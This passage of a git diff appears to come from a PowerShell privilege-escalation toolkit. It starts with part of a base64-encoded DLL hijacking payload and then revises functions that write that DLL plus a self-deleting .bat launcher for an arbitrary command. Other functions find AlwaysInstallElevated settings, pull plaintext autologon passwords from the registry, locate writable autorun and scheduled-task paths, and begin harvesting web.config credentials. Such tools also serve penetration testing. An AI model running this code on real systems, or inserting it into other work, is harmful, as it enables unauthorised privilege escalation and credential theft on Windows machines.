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" - if($Arch) { - if($Arch -eq "x64") { - [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes64) - } - elseif($Arch -eq "x86") { - [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes32) - } - else{ - Throw "Please specify x86 or x64 for the -Arch" - } + if($PSBoundParameters['Architecture']) { + $TargetArchitecture = $Architecture + } + elseif($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64') { + $TargetArchitecture = 'x64' } else { - # if no architecture if specified, try to auto-determine the arch - if ($Env:PROCESSOR_ARCHITECTURE -eq "AMD64") { - [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes64) - $Arch = "x64" - } - else { - [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes32) - $Arch = "x86" - } + $TargetArchitecture = 'x86' } - if(!$BatPath) { - $parts = $OutputFile.split("\") - $BatPath = ($parts[0..$($parts.length-2)] -join "\") + "\debug.bat" + if($TargetArchitecture -eq 'x64') { + [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes64) } else { - # patch in the appropriate .bat launcher path - $DllBytes = Invoke-PatchDll -DllBytes $DllBytes -FindString "debug.bat" -ReplaceString $BatPath + [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes32) } + if($PSBoundParameters['BatPath']) { + $TargetBatPath = $BatPath + } + else { + $BasePath = $DllPath | Split-Path -Parent + $TargetBatPath = "$BasePath\debug.bat" + } + + # patch in the appropriate .bat launcher path + $DllBytes = Invoke-PatchDll -DllBytes $DllBytes -SearchString 'debug.bat' -ReplaceString $TargetBatPath + # build the launcher .bat - if (Test-Path $BatPath) { Remove-Item -Force $BatPath } - "@echo off\n" | Out-File -Encoding ASCII -Append $BatPath - "start /b $Command\n" | Out-File -Encoding ASCII -Append $BatPath - 'start /b "" cmd /c del "%~f0"&exit /b' | Out-File -Encoding ASCII -Append $BatPath + if (Test-Path $TargetBatPath) { Remove-Item -Force $TargetBatPath } + + "@echo off\n" | Out-File -Encoding ASCII -Append $TargetBatPath + "start /b $BatCommand\n" | Out-File -Encoding ASCII -Append $TargetBatPath + 'start /b "" cmd /c del "%~f0"&exit /b' | Out-File -Encoding ASCII -Append $TargetBatPath - ".bat launcher written to: $BatPath" + Write-Verbose ".bat launcher written to: $TargetBatPath" - Set-Content -Value $DllBytes -Encoding Byte -Path $OutputFile - "$Arch DLL Hijacker written to: $OutputFile" + Set-Content -Value $DllBytes -Encoding Byte -Path $DllPath + Write-Verbose "$TargetArchitecture DLL Hijacker written to: $DllPath" $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'OutputFile' $OutputFile - $Out | Add-Member Noteproperty 'Architecture' $Arch - $Out | Add-Member Noteproperty 'BATLauncherPath' $BatPath - $Out | Add-Member Noteproperty 'Command' $Command + $Out | Add-Member Noteproperty 'DllPath' $DllPath + $Out | Add-Member Noteproperty 'Architecture' $TargetArchitecture + $Out | Add-Member Noteproperty 'BatLauncherPath' $TargetBatPath + $Out | Add-Member Noteproperty 'Command' $BatCommand $Out } @@ -2639,19 +2679,24 @@ function Write-HijackDll { # ######################################################## -function Get-RegAlwaysInstallElevated { +function Get-RegistryAlwaysInstallElevated { <# .SYNOPSIS - Checks if the AlwaysInstallElevated registry key is set. - This meains that MSI files are always run with SYSTEM - level privileges. + Checks if any of the AlwaysInstallElevated registry keys are set. + + .DESCRIPTION + + Returns $True if the HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated + or the HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated keys + are set, $False otherwise. If one of these keys are set, then all .MSI files run with + elevated permissions, regardless of current user permissions. .EXAMPLE - PS C:\> Get-RegAlwaysInstallElevated + PS C:\> Get-RegistryAlwaysInstallElevated - Checks if the AlwaysInstallElevated registry key is set. + Returns $True if any of the AlwaysInstallElevated registry keys are set. #> [CmdletBinding()] @@ -2667,7 +2712,7 @@ function Get-RegAlwaysInstallElevated { if ($HKLMval.AlwaysInstallElevated -and ($HKLMval.AlwaysInstallElevated -ne 0)){ - $HKCUval = (Get-ItemProperty -Path "hkcu:SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue) + $HKCUval = (Get-ItemProperty -Path "HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue) Write-Verbose "HKCUval: $($HKCUval.AlwaysInstallElevated)" if ($HKCUval.AlwaysInstallElevated -and ($HKCUval.AlwaysInstallElevated -ne 0)){ @@ -2693,16 +2738,21 @@ function Get-RegAlwaysInstallElevated { } -function Get-RegAutoLogon { +function Get-RegistryAutoLogon { <# .SYNOPSIS - Checks for DefaultUserName/DefaultPassword in the Winlogin registry section - if the AutoAdminLogon key is set. + Finds any autologon credentials left in the registry. + + .DESCRIPTION + + Checks if any autologon accounts/credentials are set in a number of registry locations. + If they are, the credentials are extracted and returned as a custom PSObject. .EXAMPLE - PS C:\> Get-RegAutoLogon + PS C:\> Get-RegistryAutoLogon + Finds any autologon credentials left in the registry. .LINK @@ -2717,7 +2767,7 @@ function Get-RegAutoLogon { Write-Verbose "AutoAdminLogon key: $($AutoAdminLogon.AutoAdminLogon)" - if ($AutoAdminLogon.AutoAdminLogon -ne 0){ + if ($AutoAdminLogon -and ($AutoAdminLogon.AutoAdminLogon -ne 0)) { $DefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -ErrorAction SilentlyContinue).DefaultDomainName $DefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -ErrorAction SilentlyContinue).DefaultUserName @@ -2740,21 +2790,29 @@ function Get-RegAutoLogon { } -function Get-VulnAutoRun { +function Get-RegistryAutoRun { <# .SYNOPSIS + + Returns any elevated system autoruns in which the current user can + modify part of the path string. - Returns HKLM autoruns where the current user can modify - the binary/script (or its config) specified. + .DESCRIPTION + + Enumerates a number of autorun specifications in HKLM and filters any + autoruns through Get-ModifiablePath, returning any file/config locations + in the found path strings that the current user can modify. .EXAMPLE - PS C:\> Get-VulnAutoRun + PS C:\> Get-RegistryAutoRun Return vulneable autorun binaries (or associated configs). #> - [CmdletBinding()]Param() + [CmdletBinding()] + Param() + $SearchLocations = @( "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce", "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run", @@ -2777,7 +2835,7 @@ function Get-VulnAutoRun { $Path = $($Keys.GetValue($Name)) - $Path | Get-ModifiableFile | ForEach-Object { + $Path | Get-ModifiablePath | ForEach-Object { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'Key' "$ParentPath\$Name" $Out | Add-Member Noteproperty 'Path' $Path @@ -2793,22 +2851,29 @@ function Get-VulnAutoRun { ######################################################## # -# Misc. +# Miscellaneous checks # ######################################################## -function Get-VulnSchTask { +function Get-ModifiableScheduledTaskFile { <# .SYNOPSIS - Returns scheduled tasks where the current user can modify - the script associated with the task action. + Returns scheduled tasks where the current user can modify any file + in the associated task action string. + + .DESCRIPTION + + Enumerates all scheduled tasks by recursively listing "$($ENV:windir)\System32\Tasks" + and parses the XML specification for each task, extracting the command triggers. + Each trigger string is filtered through Get-ModifiablePath, returning any file/config + locations in the found path strings that the current user can modify. .EXAMPLE - PS C:\> Get-VulnSchTask + PS C:\> Get-ModifiableScheduledTaskFile - Return vulnerable scheduled tasks. + Return scheduled tasks with modifiable command strings. #> [CmdletBinding()]Param() @@ -2819,7 +2884,7 @@ function Get-VulnSchTask { $Path = "$($ENV:windir)\System32\Tasks" # recursively enumerate all schtask .xmls - Get-ChildItem -Path $Path -Recurse | Where-Object { ! $_.PSIsContainer } | ForEach-Object { + Get-ChildItem -Path $Path -Recurse | Where-Object { -not $_.PSIsContainer } | ForEach-Object { try { $TaskName = $_.Name $TaskXML = [xml] (Get-Content $_.FullName) @@ -2828,7 +2893,7 @@ function Get-VulnSchTask { $TaskTrigger = $TaskXML.Task.Triggers.OuterXML # check schtask command - $TaskXML.Task.Actions.Exec.Command | Get-ModifiableFile | ForEach-Object { + $TaskXML.Task.Actions.Exec.Command | Get-ModifiablePath | ForEach-Object { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'TaskName' $TaskName $Out | Add-Member Noteproperty 'TaskFilePath' $_ @@ -2837,7 +2902,7 @@ function Get-VulnSchTask { } # check schtask arguments - $TaskXML.Task.Actions.Exec.Arguments | Get-ModifiableFile | ForEach-Object { + $TaskXML.Task.Actions.Exec.Arguments | Get-ModifiablePath | ForEach-Object { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'TaskName' $TaskName $Out | Add-Member Noteproperty 'TaskFilePath' $_ @@ -2847,7 +2912,7 @@ function Get-VulnSchTask { } } catch { - Write-Debug "Error: $_" + Write-Verbose "Error: $_" } } @@ -2970,6 +3035,7 @@ function Get-WebConfig { # Check if appcmd.exe exists if (Test-Path ("$Env:SystemRoot\System32\InetSRV\appcmd.exe")) { + # Create data table to house results $DataTable = New-Object System.Data.DataTable @@ -3022,38 +3088,35 @@ function Get-WebConfig { $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc) } } - } else { # Find newest version of aspnet_regiis.exe to use (it 